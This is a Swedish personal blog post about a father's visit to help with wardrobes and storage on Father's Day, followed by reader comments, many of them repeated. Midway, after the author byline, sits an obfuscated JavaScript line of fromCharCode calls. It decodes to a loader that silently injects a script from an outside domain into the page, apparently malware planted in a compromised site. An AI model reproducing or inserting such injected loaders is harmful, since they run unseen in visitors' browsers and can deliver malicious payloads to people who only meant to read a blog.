’Mysfrukost med pappa/morfar ❤️ Grattis alla pappor på eran dag ! (Igår)
Ett dygn med morfar på besök…. Som har hjälpt oss skruva garderober, röja i förrådet och lägenheten. Rensat, sorterat och strukturerat upp. Inte ett dumt sätt att fira farsdag? 😉
våra grannar hjälpte också till. Dom kom över och skruvade/borrade och lekte med oss… Mysigt!
-TACK alla inblandade för hjälpen…. Ovärdeligt!
Nu mot gymmet Och PT kund. Sen mot stan och möten..
Detta är stort för Lilleman, att hålla morfar i handen och viss upp sitt dagis <3
Vilken underbar familj ni är! Vilka underbart fina grannar som rycker in när det behövs. Precis så som vi ska vara mot varandra!
Ha en underbar vecka!
Kram
Vilken underbar familj ni är! Vilka underbart fina grannar som rycker in när det behövs. Precis så som vi ska vara mot varandra!
Ha en underbar vecka!
Kram
Hej My! Vilka fina bilder på din lilleman! Jag tänkte fråga dig en sak om träning, hoppas det går bra! Jag fick mitt yngsta barn för drygt 3 år sedan. Har tränat till och från sedan dess. Är smal och lång och tappar lätt hållningen… Har svank och ”puckel” (s-formad ryggrad) och min mage putar gärna trots att jag inte har något fett. Har testat de flesta övningar och i perioder har jag tränat just magen väldigt mycket. Men nu på sistone har jag märkt att magen blir ”spetsig” och putar upp i ett v när jag gör övningarna. Hittar inte en enda övning där inte detta händer… Har gjort väldigt mkt planka i mina dagar och även benlyft/sänkningar när jag ligger på rygg, men med dessa övningar blir det också så. Jag vet alltså inte om detta har uppkommit nu eller varit så hela tiden utan att jag lagt märke till det. Hur ska jag träna för att få rätt på detta? Någon bra övning? Jag försöker också träna hållningen och ryggen för att räta upp ryggen, tex genom att ligga på mage och lyfta axlar/bröst från golvet. Jag har inte möjlighet att gå på gym för tillfället utan tränar bara hemma. Vad tror du? Måste jag byta övningar? Kram till dig! Får så mycket inspiration från din blogg!
Hej My! Vilka fina bilder på din lilleman! Jag tänkte fråga dig en sak om träning, hoppas det går bra! Jag fick mitt yngsta barn för drygt 3 år sedan. Har tränat till och från sedan dess. Är smal och lång och tappar lätt hållningen… Har svank och ”puckel” (s-formad ryggrad) och min mage putar gärna trots att jag inte har något fett. Har testat de flesta övningar och i perioder har jag tränat just magen väldigt mycket. Men nu på sistone har jag märkt att magen blir ”spetsig” och putar upp i ett v när jag gör övningarna. Hittar inte en enda övning där inte detta händer… Har gjort väldigt mkt planka i mina dagar och även benlyft/sänkningar när jag ligger på rygg, men med dessa övningar blir det också så. Jag vet alltså inte om detta har uppkommit nu eller varit så hela tiden utan att jag lagt märke till det. Hur ska jag träna för att få rätt på detta? Någon bra övning? Jag försöker också träna hållningen och ryggen för att räta upp ryggen, tex genom att ligga på mage och lyfta axlar/bröst från golvet. Jag har inte möjlighet att gå på gym för tillfället utan tränar bara hemma. Vad tror du? Måste jag byta övningar? Kram till dig! Får så mycket inspiration från din blogg!
Jag blir ensam stående mamma och pluggar och sliter på samtidigt är livet tufft runt omkring i bland.Men när jag läser din blogg ,så ger den styrka!
Ville bara säga tack för en super bra blogg !Det du delar med dig.
Verkligen en inspiration blogg med utbildning och barn… flytt …att man faktiskt klara mer än vad man tror…och gå sin egna väg.
ensam är visst stark och ett jävla inne amma så går allt.
Åhhh! Ska du bli ensamstående? Ja, man kamrat mycket mer än vad man tror. Det gäller att. Hämta kraft och styrka genom barnen. Att hitta en balans mellan att kämpa utan att köra sig i botten ❤️ Kram
Jag blir ensam stående mamma och pluggar och sliter på samtidigt är livet tufft runt omkring i bland.Men när jag läser din blogg ,så ger den styrka!
Ville bara säga tack för en super bra blogg !Det du delar med dig.
Verkligen en inspiration blogg med utbildning och barn… flytt …att man faktiskt klara mer än vad man tror…och gå sin egna väg.
ensam är visst stark och ett jävla inne amma så går allt.
Åhhh! Ska du bli ensamstående? Ja, man kamrat mycket mer än vad man tror. Det gäller att. Hämta kraft och styrka genom barnen. Att hitta en balans mellan att kämpa utan att köra sig i botten ❤️ Kram
My Martens , Ako Rahim. Adviral Media.
d
Ako, Renata, My
var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/
Nu mot gymmet Och PT kund. Sen mot stan och möten.. 
Vilken underbar familj ni är! Vilka underbart fina grannar som rycker in när det behövs. Precis så som vi ska vara mot varandra!
Ha en underbar vecka!
Kram
Så duktiga ni alla varit i helgen. Och så bra för dig och Lilleman att få hjälp. Kul att se alla bilder. ?
Vilken underbar familj ni är! Vilka underbart fina grannar som rycker in när det behövs. Precis så som vi ska vara mot varandra!
Ha en underbar vecka!
Kram
Så duktiga ni alla varit i helgen. Och så bra för dig och Lilleman att få hjälp. Kul att se alla bilder. 🙂
Blir varm i hjärtat på den sista bilden när Ludvig håller din pappa i handen o ska visa dagiset ❤️
Jag också ❤️
En fin helgdag för familjen innan det går mot jul och man ses mera…:)))
Hej fina du! Ser så mysigt ut! Är allt klart nu? När kommer efter bilderna?
Hehe! Nej… Inte klart än, men en bra vit påvägen ? ni kommer får bilder löpande.. Kram
Blir varm i hjärtat på den sista bilden när Ludvig håller din pappa i handen o ska visa dagiset ❤️
Jag också ❤️
En fin helgdag för familjen innan det går mot jul och man ses mera…:)))
Underbara vardagsbilder i ett förrådskaos OCH sedan morfar med lilleman i handen… kärlek
Hihi! Ja…. Det är kärlek det ❤️
Hej fina du! Ser så mysigt ut! Är allt klart nu? När kommer efter bilderna?
Hehe! Nej… Inte klart än, men en bra vit påvägen 🙂 ni kommer får bilder löpande.. Kram
Underbara vardagsbilder i ett förrådskaos OCH sedan morfar med lilleman i handen… kärlek
Hihi! Ja…. Det är kärlek det ❤️
Hej ! My känns som du haft en fin helg ?❤️Härligt att få i ordning . Vilka fina bilder !
Hej ! My känns som du haft en fin helg 😊❤️Härligt att få i ordning . Vilka fina bilder !
Får man fråga hur stor lägenhet du har.
Skönt med garderober så du får undan lite he he
Får man fråga hur stor lägenhet du har.
Skönt med garderober så du får undan lite he he
Hej My! Vilka fina bilder på din lilleman! Jag tänkte fråga dig en sak om träning, hoppas det går bra! Jag fick mitt yngsta barn för drygt 3 år sedan. Har tränat till och från sedan dess. Är smal och lång och tappar lätt hållningen… Har svank och ”puckel” (s-formad ryggrad) och min mage putar gärna trots att jag inte har något fett. Har testat de flesta övningar och i perioder har jag tränat just magen väldigt mycket. Men nu på sistone har jag märkt att magen blir ”spetsig” och putar upp i ett v när jag gör övningarna. Hittar inte en enda övning där inte detta händer… Har gjort väldigt mkt planka i mina dagar och även benlyft/sänkningar när jag ligger på rygg, men med dessa övningar blir det också så. Jag vet alltså inte om detta har uppkommit nu eller varit så hela tiden utan att jag lagt märke till det. Hur ska jag träna för att få rätt på detta? Någon bra övning? Jag försöker också träna hållningen och ryggen för att räta upp ryggen, tex genom att ligga på mage och lyfta axlar/bröst från golvet. Jag har inte möjlighet att gå på gym för tillfället utan tränar bara hemma. Vad tror du? Måste jag byta övningar? Kram till dig! Får så mycket inspiration från din blogg!
Ida: ett tips till dig. Gå till en sjukgymnast?
En sjukgymnast? Hmm har inte alls tänkt på det. Har ju inga fysiska problem… Kan alla den biten?
Hej My! Vilka fina bilder på din lilleman! Jag tänkte fråga dig en sak om träning, hoppas det går bra! Jag fick mitt yngsta barn för drygt 3 år sedan. Har tränat till och från sedan dess. Är smal och lång och tappar lätt hållningen… Har svank och ”puckel” (s-formad ryggrad) och min mage putar gärna trots att jag inte har något fett. Har testat de flesta övningar och i perioder har jag tränat just magen väldigt mycket. Men nu på sistone har jag märkt att magen blir ”spetsig” och putar upp i ett v när jag gör övningarna. Hittar inte en enda övning där inte detta händer… Har gjort väldigt mkt planka i mina dagar och även benlyft/sänkningar när jag ligger på rygg, men med dessa övningar blir det också så. Jag vet alltså inte om detta har uppkommit nu eller varit så hela tiden utan att jag lagt märke till det. Hur ska jag träna för att få rätt på detta? Någon bra övning? Jag försöker också träna hållningen och ryggen för att räta upp ryggen, tex genom att ligga på mage och lyfta axlar/bröst från golvet. Jag har inte möjlighet att gå på gym för tillfället utan tränar bara hemma. Vad tror du? Måste jag byta övningar? Kram till dig! Får så mycket inspiration från din blogg!
Ida: ett tips till dig. Gå till en sjukgymnast😉
En sjukgymnast? Hmm har inte alls tänkt på det. Har ju inga fysiska problem… Kan alla den biten?
Jag blir ensam stående mamma och pluggar och sliter på samtidigt är livet tufft runt omkring i bland.Men när jag läser din blogg ,så ger den styrka!
Ville bara säga tack för en super bra blogg !Det du delar med dig.
Verkligen en inspiration blogg med utbildning och barn… flytt …att man faktiskt klara mer än vad man tror…och gå sin egna väg.
ensam är visst stark och ett jävla inne amma så går allt.
Åhhh! Ska du bli ensamstående? Ja, man kamrat mycket mer än vad man tror. Det gäller att. Hämta kraft och styrka genom barnen. Att hitta en balans mellan att kämpa utan att köra sig i botten ❤️ Kram
Jag blir ensam stående mamma och pluggar och sliter på samtidigt är livet tufft runt omkring i bland.Men när jag läser din blogg ,så ger den styrka!
Ville bara säga tack för en super bra blogg !Det du delar med dig.
Verkligen en inspiration blogg med utbildning och barn… flytt …att man faktiskt klara mer än vad man tror…och gå sin egna väg.
ensam är visst stark och ett jävla inne amma så går allt.
Åhhh! Ska du bli ensamstående? Ja, man kamrat mycket mer än vad man tror. Det gäller att. Hämta kraft och styrka genom barnen. Att hitta en balans mellan att kämpa utan att köra sig i botten ❤️ Kram